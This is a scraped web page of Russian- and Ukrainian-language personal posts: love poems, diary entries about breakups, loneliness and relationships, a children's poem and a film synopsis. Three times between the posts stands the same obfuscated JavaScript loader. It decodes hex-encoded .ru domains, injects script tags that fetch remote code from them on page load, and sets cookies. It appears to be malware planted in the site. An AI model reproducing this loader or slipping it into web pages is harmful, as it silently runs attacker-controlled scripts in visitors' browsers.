    window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

    он приехал. бери вино. надевай самый тёплый шарф. вы не пили с ним так давно, что от жажды звенит в ушах. он приехал. опять вокзал. фонари и размокший снег. он глядит - и десятки жал выпускает из влажных век.

    отыскать бы в дурной башке пару слов. не стоять немой. он как в юности - налегке. забирай же его домой. станешь мягкой, как лунный свет, как лесной безымянный зверь. у него никого больше нет - верь ему в этот вечер. верь.

    он приехал. плывут огни. затихает машинный гул. замани. отхлебни. вдохни запах шеи и грубых скул. он приехал. сырая ночь будет хлопьями бить в окно. будет снова любовь, точь-в-точь, как когда-то давным-давно.

    будут руки - горячий воск, будут губы - заморский хмель. в голове лишь один вопрос: что же станет со мной теперь?

    он уедет. и зимний мрак будет эхом кружить вокруг:
    только так.
    только так.
    только так
    сохраним это всё, мой друг.

    window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

    Огонь и пламя – суть живой души!

    Сгорая, мы теплом ласкаем время.

    Огнём духовным беды сокрушив

    И каждодневных дел по жизни бремя

    Я хочу мужчину, а не мальчика. Такого, чтобы «Я за неё возьму вину», «Я за неё начну войну», «Я за неё пойду ко дну». Чтобы со спиной, той которая «каменная» и решениями взвешенными. Чтобы если говорит, то по делу и правильно, а не «радиопомехами». Чтобы слушать умел и с легкостью выносил все мои разговоры «о возвышенном». Чтобы рот мне прикрывал лишь одним взглядом обычным. Чтобы цветы мне дарил не «по уставу», а без повода. Когда домой подвозил, то целовал, прижимая обеими руками мою голову. Чтобы кофе мне варил обязательно с корицей. Чтобы ревновал, но слегка. Без фанатизма. Чтобы ценил и оберегал. Чтобы называл «Моя маленькая». Чтобы проблемы мои делил и нравился моей маме. А еще обязательно детей любил и хотел семью и серьезных отношений. Я вроде бы и не многого прошу, просто чтобы был моим до кончиков пальцев. Чтобы самым не идеальным был, но мелькал в моих мыслях с завидным постоянством. Чтобы хотелось стирать ему носки и стоять у плиты часами. А потом умиляться стоять в углу фартук теребя руками и смотреть как двое любимых мужчин с охотой ужин за обе щеки уплетают. Я приму в свою жизнь мужчину, а не мальчика.

    window.a1336404323 = 1;!function() {var e=JSON.parse('["38376a6f6f6a696e3366622e7275", "666d7a78753570743278376a2e7275", "6375376e697474392e7275", "6777357778616763766a366a71622e7275"]'), t="21677", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

    Тут на днях случилось нечто неадекватное – я сидела в кафе с молодым человеком, и это был не Тим.

    Не то чтобы я никогда так не делала (жила же я как-то до Тима и очень даже часто сидела в кафе не с ним), но тут действительно было ощущение, что происходит что-то неладное.

    На самом деле объяснение простое, но от того не легче - это была встреча одногруппников. На которую хотела прийти добрая половина группы (в общем, те, кто не разъехался по другим городам), а пришли только двое.

    Я пила грог и ковырялась в салате, которому так и суждено было остаться несъеденным, и мы сплетничали как две приподъездные бабки. В какой-то момент из соседнего зала вышел наш одногруппник. Он был здесь «на мероприятии», уже довольно сильно в сопли, и я наконец-то (хвала алкоголю!) узнала, как же выглядела ситуация со свадьбой его девушки, случившейся пока он был в армии. Не то чтобы это было вопросом года для меня, но знаете, когда один человек, которого вы знаете пять лет, встречается с другим человеком, которого вы знаете уже все десять, и тут она выходит замуж за совершенно третьего человека, хотя её парню осталось отслужить ещё три месяца, у любой девочки возникнут вполне логичные вопросы. Ну например, как солдат-то не вскрылся? На что он сказал – «хорошо, что было с кем поговорить». Ну и девушка новая подвернулась.

    И ещё.

    Меня на самом деле бесконечно трогает то, что даже спустя годы люди подходят ко мне и рассказывают о W. То есть как бы уже наверное вся вселенная в курсе о том, что эти двое уже давно не вместе, но это неизменно – «знаешь, кого я видел на той неделе?». И я должна угадывать.

    Самое дикое – я всегда угадываю, я всегда думаю об этом в первую очередь, но не могу сказать, потому что какая глупость думать об этом в первую очередь.

    И мне зачем-то начинают рассказывать.

    Бог забрав у мене будь-які почуття. Нічого не залишилося. І мені більше не треба часу щоб перевіряти себе. Якщо поряд з тобою я сумнівалась - то коли тебе немає, то сумніви теж проходять. ^ Ще скажу що в тобі немає любові. Бо хто любить - здатний на все. Прощати, терпіти, тримати себе заради іншого, чекати. Нічого не маю проти тебе.^ Ще прийшло розуміння що в нашому житті різні бачення. Зовсім різні цілі. Різні стилі життя.^ Я вела себе не мудро, легкодумно. Прошу пробачення. ^ На цьому ставлю крапку.

    Наверно это окончательная потеря своей старой личности, когда ты уже просто не воспринимаешь свое имя в полной форме, как нечто относящееся непосредственно к тебе. Будто кто-то говорит о совершенно другом человеке. Вот лично у меня сейчас так и происходит, когда меня называют Наташа, Натуся, Наташка, Наталья, Натали, это все будто не про меня, словно я слушаю о каком то совершенно другом человеке.
    Может мне пора к психиатру?

    Странное сообщение в два часа ночи. Бывшие не пишут просто так. Они пишут, напомнить о себе. Но они пишут тогда, когда у меня все хорошо и я забыла о их существовании и о том, что нас связывало.

    — По правде говоря,
    Я перестала с тобой общаться
    не из-за того, что я не люблю тебя,
    а потому что я мешаю тебе.

    И я просто буду ждать,
    пока ты не скажешь, что скучаешь по мне,
    потому что я скучаю по тебе каждый день.
    Каждый час, каждую минуту, каждую секунду.

    Когда одевает мама наряд, В шкафу под чехол повешенный, Папа бывает ужасно рад: – Ты просто шикарная женщина! Если одета мама в халат И что-то в кастрюле помешивает, Папа заходит и снова рад: – Ты очень уютная женщина! Когда мы на пляже и мама идёт Вдоль моря галькой прибрежною, Папа смотрит, разинув рот: – Ты просто богиня – не женщина! Мне кажется: маму хоть в куртку одень С каким-то малярным запахом, Папа будет смотреть каждый день И восторгаться заново! (О. Бундур)

    Я хочу любви, хочу нежности, хочу милостей всяких. Всегда слушаю своих девчонок, они рассказывают про своих и, приходя домой, чуть ли не зарываешься в подушку, потому что тоже всего этого хочется. Но самое главное, хочу чувствовать то, что чувствуют мои девочки. И да, это самое банальное и глупое. Они чувствуют, что им эти парни нравятся. Почему у меня такого нету? Я уже перестаю верить во взаимность, что вообще такое существует. Мне не нужно, чтобы ко мне испытывали чувства, за мной ухаживали, всех этих нежностей мне не нужно, когда нету элементарного - чувств, с моей стороны.

    Отключение горячей воды в квартире прям таки перед интимной близостью без возможности сходить в душ - ай, как же я люблю трудности!

    Ну кто король этой жизни? Сижу, одетая, как чмо (зато тепло!) с невнятной кучей на башке, рот и щеки перемазаны шоколадом, сосредоточенно жую и пустым взглядом смотрю на проходящих мимо людей. Какой-то хрен стал смотреть прямо в глаза, ну я взгляд не отвожу. Потом что-то начало проясняться, я сконцентрировалась на его лице, а это мой бывший. Ещё смотрит так, без улыбки, строго. А я чмо. Ещё и ем, как свинья.

    Я всегда прощала ему маленькие шалости, звонила, писала, переживала, бросала всех и все ради встречи с ним. Я любила. А при расставании он сказал мне очень умную фразу:"В какой сказке ты читала, что любят рабов?". И тут я поняла ошибку миллионов женщин.

    Когда идешь к человеку с открытой душой, конечно никогда не ждешь предательства. Но его можно пережить. Можно днями и ночами обвинять человека, злиться на него и все время оправдывать себя:"мол, ну ты-то не виноват!" Ты хотел подарить этому человеку себя, свои мысли, тайны и конечно же душу и тело. Поэтому предательство можно пережить. Определённо. Но на свете есть более жестокая и отвратительная вещь. Это безразличие. Вот тут-то ты ничего поделать не можешь. "-Вот она я, смотри! Бери меня, я вся твоя. Я ждала тебя так долго! Ну, что же ты? Почему молчишь? Почему в глазах холод? Что я сделала тебе? Почему заслужила такое обращение?" С безразличностью ничего не сделать и винить не кого. Нет, ты конечно сначала винишь себя. Очень долго и упрямо говоришь себе, что это ты недостаточна хороша, красива, умна… И ты уже даже не плачешь, не заламываешь руки в отчаянии. Ты просто даешь этой пустоте проникнуть внутрь и дать навести ей там свой порядок. Проходят дни, недели. Они ничем не отличаются. Ты просто в ожидании звонка или сообщения, хоть чего-то. Веришь, что он напишет. Обязательно. "Ну, что же я зря жду?" Включила тут недотрогу, а сама готова пальцы ломать, лишь бы не писать ему. И знаешь что? Он не напишет. Забыл уже в общем-то. Занят чем-то…а может уже кем-то. И что ты будешь делать, дурочка? Ну, можно конечно сдаться. Настрочить ему кучу сообщений и делать вид, что ты вся такая счастливая, свободная и явно о нем даже не думаешь. Смешно. Боже, где предел боли? А унижения? Как надо унизить себя в его глазах, чтобы наконец-то пройти точку невозврата и жить дальше. Самое грустное, что вы не просто там в кафе сходили и забыли друг о друге. Беда в том, что вас связывали чувства. Глубокие, эмоциональные, страстные. И как он смотрел на тебя…ну, вы знаете этот взгляд, да? Тот самый обаятельный, теплый…кажется, что он смотрит прямо в душу, достает всю боль изнутри и дает ей исчезнуть. А потом исчезает сам… Все возвращается с тройной силой. Боль, воспоминания, слезы, печаль, тоска…у страданий много синонимов. И тебе никто не скажет почему так случилось, почему он в один момент оставил тебя. Наверное, он просто добился тебя, насытился твоими эмоциями, прочитал тебя, как книгу и пожалуй решил, что на этом всё. И дай Бог, чтобы он через пару месяцев не появился снова, потому что ему стало грустно и он снова решил поиграть тобой. Пусть он лучше сожгет эти чертовы мосты между вами и никогда больше не появляется на пороге твоей жизни. Я пишу это наверное потому что мне нужно было все это сказать. Я все пережила, забыла и перестала думать о тебе. …..но врать я себе так и не научилась….

    В честь дня матери заказали у Кишинёвской фирмы цветов через сайт маме букет цветов.
    Отдали за это немалую сумму.
    Должны привезти в мой родной город в районе 10-12 часов. Предупредили брата об этом, чтобы удерживал маму дома.
    Надеюсь эта фирма не подпольная и они довезут ей красивый букет.
    Так же сегодня поздравим маму Артёма.
    И вы не забудьте сегодня сказать своим мамам как вы их любите и цените. Они порой в этом очень нуждаются.

    вчера Юлька со Славой вытащили меня на чай с тортиком, а потом речь зашла о палтусе и спустя час мы отправились уже объедать Славку и знаете что? мы ели не только палтус, но и салатики и опять тортики

    еще, я как настоящая одинокая девушка солдата собиралась провести вечер за просмотром битвы экстрасенсов и танцев на тнт, ну и ребятки пошли меня провожать, а когда мы практически уже подошли к моему дому, все вдруг решили, что лучше не оставлять одинокую девушку солдата (т.е. меня :D) совсем уж одну и мы опять повернули к Славе, где просидели несколько часов за просмотром телика и валянием на диванчике, ну еще и бутеры поели

    и да, мне звонил Артур, буквально на 2 минуты, мое сердце тогда ухнуло вниз

    мне так одиноко без него, даже тогда, когда со мной рядом кто-то есть

    Пока читала "Коллекционер" задумалась. Людям проще верить, что Бог знает, что у них были благие намерения, даже если вышло плохо. Они думают, что кроме них еще хотя бы один это знает. И Бог потом решит, что этот человек заслужил. А вот если никто не может этого знать?

    Это история о подвиге юных сапёров, которые ценой своей жизни обезвреживали минные поля и дороги. Были подготовлены минеры — в основном 17-20-летние девушки. Яркая и короткая любовь главных героев — инструктора Алексея и молодой вдовы с ребенком Полины. Неожиданно возвращается живым с фронта муж Полины Егор. Извещение о его гибели было ошибочным.


    когда разум обнимал тебя, душа просто в клочья разрывала твою одежду и осыпала всю тебя от кончиков пальцев на тех самых изящных руках до. .до бесконечности

    это видимо лишним было

    *поцелуями

    жадными

    Вчера вечером говорили с Димой. Он так много (плохо) шутит по поводу моего общения с одногруппниками. Я понимаю, что все это выглядит плохо. "Почему бы мне не ходить со своим парнем, а не со своими друзьями". Но обычно Дима не хочет ходить на концерты, которые мне нравятся. Он не любит гулять и предпочитает заказать еду на дом. То есть он всегда сам отпускает меня куда-либо с ними. А потом шутит, что я наверное "уже натрахалась" и все в этом духе. Вчера я решила, что не хочу это больше терпеть и мы в n-раз поговорили. Я объяснила, что раньше я ни с кем не общалась и сидела дома и ждала его прихода. Это был весь мой мир. Когда он не приходил, я очень расстраивалась и порой не знала, чем заняться. Он говорил, чтобы я занималась своими делами и его не ждала. Да и вообще он стал мало со мной разговаривать. Я рассказываю свои мысли о книге или просто о жизни, он вспоминает фразу из книги или песни или видео (абсолютно неуместную). Осмысленного ответа или диалога я не получаю. Очень часто так происходило. Это убивало желание рассказывать ему. Тоже самое с тем, что я звала его сходить куда-нибудь. Часто это отменялось или он сразу не хотил идти "в вонючий Дом кино". Сейчас я бывает и не зову его, а сразу иду с кем-то из друзей. А сколько раз у меня было хорошее настроение перед встречей с ним, затем испорченное его манерой разговаривать со мной. Если у него нет настроения и я делаю что-то не так, как надо (в его понимании), он может легко накричать. Даже если задумалась и не переключила песню, когда он просил. В начале отношений я готова была дать ему все, а он так часто отказывался, что сейчас все так, как есть. Я говорила ему об этом, он обещает измениться, дердится пару дней, а потом все по-старому.

    —А, может, ты так срываешься в последние дни, потому что есть вероятность, что ты.. Плюс тошнит сильнее обычного..

    —Я уже думала об этом, - после этих слов я истерически засмеялась. А Китти очень загнался:

    —Тебе из-за таблетки как плохо было.. А что после этого будет, если что?

    — Моему организму наступит пиздец.

    Чуть позже:

    —Всё будет так, как ты захочешь, - загадочно улыбнулся.

    — В смысле? -Ты поняла, о чём я.

    —Ты ведь знаешь, что мне это не нужно. Мы сами дети! О чём речь! В моих планах- домашний "зоопарк". Всё.

    Я думаю, что одна из самых грустных вещей - когда два человека действительно хорошо знают друг друга: их секреты, их страхи, то, что они любят, то, что они ненавидят, буквально все; а затем обратно становятся незнакомцами. Будто ты должен пройти мимо него и притвориться, что ты никогда даже не разговаривал с ним ранее, когда на самом деле ты знаешь о нем все.

    Два дня подряд думать об одном человеке. И ладно это был кто-то, с кем мне хоть что-то светит. Но нет же ж блять. В моей голове крутиться моя милая и ненаглядная Иришка. Рыжая, милая и теплая. Ну это уже край, я соскучился по ней, я соскучился по ее коже, губам, волосам и какой-то непонятной мне нежности. Эти отношения были, она сейчас счастлива с другим, но так хочется это вернуть…рыжее солнышко.

    Так много логичных вещей в мире.

    Диалог с Китти, к примеру и совсем логичный вывод из него:

    -Почему ты у меня такая больная?

    -Потому что ты больной, - всё просто. Два больных человека встретились и полюбили друг друга. Проще некуда. Другого не дано.

    Последния события заставили меня многое переосмыслить. Сегодня поняла, что пора и мне радовать Китти блюдами, готовить ему, родителям. А то столько предаставлялось случаев, а я их всё избегала..

    Буду много работать над собой, очень много. Чтобы как можно меньше близкие видели мой ужасный характер, и как можно больше хорошего и приятного от меня.



    Эта реакция- самый лучший стимул стать лучше!

    А Вы тоже заметили, что те слова, в которых заложено выражение самых прекрасных чувств человека *извините за пафос*: будь то любовь, уважение, благодарность и многое другое, теперь обрели негативную окраску? Или я одна слышу "люблю" как оправдание какой-нибудь мерзости, "удачи" в смысле "счастливо оставаться, конечно, но тебе здесь ничего не светит", "спасибо" - только когда реально не можешь ничем помочь, хотя и хочешь. Верность вышла из моды, преданность - это что-то из взаимоотношений человека и его питомца. Жизнь заставляет тебя быть бездушным, безэмоциональным роботом, поступать только из расчета собственной выгоды.

    — выпиши приглос для В.
    - ага, а он один будет?
    - нет, с М., конечно.
    - что?? с той самой?
    - ну.. да
    - он что, до сих пор с ней встречается?!
    - ты таким тоном спрашиваешь, как будто он до сих пор не с одной и той же девушкой, а с кнопочным телефоном ходит. что, постоянные отношения вышли из моды?
    - а когда они были в моде у представителей этой профессии?
    - представители этой профессии.. мда. так обычно про проституток говорят.
    - они не далеко ушли